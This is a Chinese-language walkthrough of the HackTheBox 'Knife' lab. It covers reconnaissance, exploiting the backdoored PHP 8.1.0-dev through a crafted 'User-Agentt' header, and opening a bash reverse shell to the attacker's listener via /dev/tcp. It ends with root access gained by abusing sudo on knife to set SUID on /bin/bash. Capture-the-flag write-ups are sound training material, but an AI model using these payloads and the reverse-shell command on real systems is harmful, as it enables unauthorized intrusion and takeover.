HackTheBox-Knife靶場實戰
靶場信息

信息搜集
首先使用nmap進行端口掃描
我們得知開啟了22和80端口
出於能不爆破就不爆破的原則,先訪問80端口看一下
80端口上的內容有點不明所以。
在完全沒思路的情況下,嘗試使用dirbuster工具進行了目錄爆破,但四十分鍾過去了卻沒有一丁點收獲,連robots.txt頁面也不存在。
我的思路就卡在這里了,一時之間不知道應該怎么做,就去泡了杯茶,突然來了靈感,要不先抓個包看看?
乍一看似乎沒有什么值得關注的東西,但在通宵日靶場導致神志不清又經過了茶葉洗禮的腦瓜子的引導下,我注意到了一個點。
X-Powered-By: PHP/8.1.0-dev
這東西,隱約之間覺得不簡單,便去百度進行了搜索。搜索的同時嘗試了nikto工具,也提示了這一條
就是這兩個提示,讓我確信突破口在這,然后經過大量的google和百度搜索后,找到了一絲思路。
PHP 8.1.0-dev 版本在2021年3月28日被植入后門,但是后門很快被發現並清除。當服務器存在該后門時,攻擊者可以通過發送User-Agentt頭來執行任意代碼。
漏洞利用
使用burp抓包,並加入字段
User-Agentt: zerodiumvar_dump(2*3);
發現被成功執行
接着嘗試命令是否可被解析執行
User-Agentt: zerodiumsystem("id");
Nice 命令可被執行,那就簡單了,可以執行命令,那就嘗試getshell吧
本地監聽:
Nc –nvlp 9001
執行命令:
User-Agentt: zerodiumsystem("/bin/bash -c 'bash -i >&/dev/tcp/10.10.14.240/9001 0>&1'");
成功通過nc獲得了一個shell
首先確定是否有python
Which python3
確定python3存在,使用python3獲得一個更加穩定的shell程序
python3 -c 'import pty; pty.spawn("/bin/bash")'
成功獲得普通用戶的flag
漏洞提權
先確定knife用戶的sudo權限
Sudo –l
Ls –al /usr/bin/knife
進行提權
echo "system('chmod +s /bin/bash')" > exploit.rb
ls
sudo /usr/bin/knife exec exploit.rb
ls -al /bin/bash
/bin/bash –p
獲得root用戶的flag
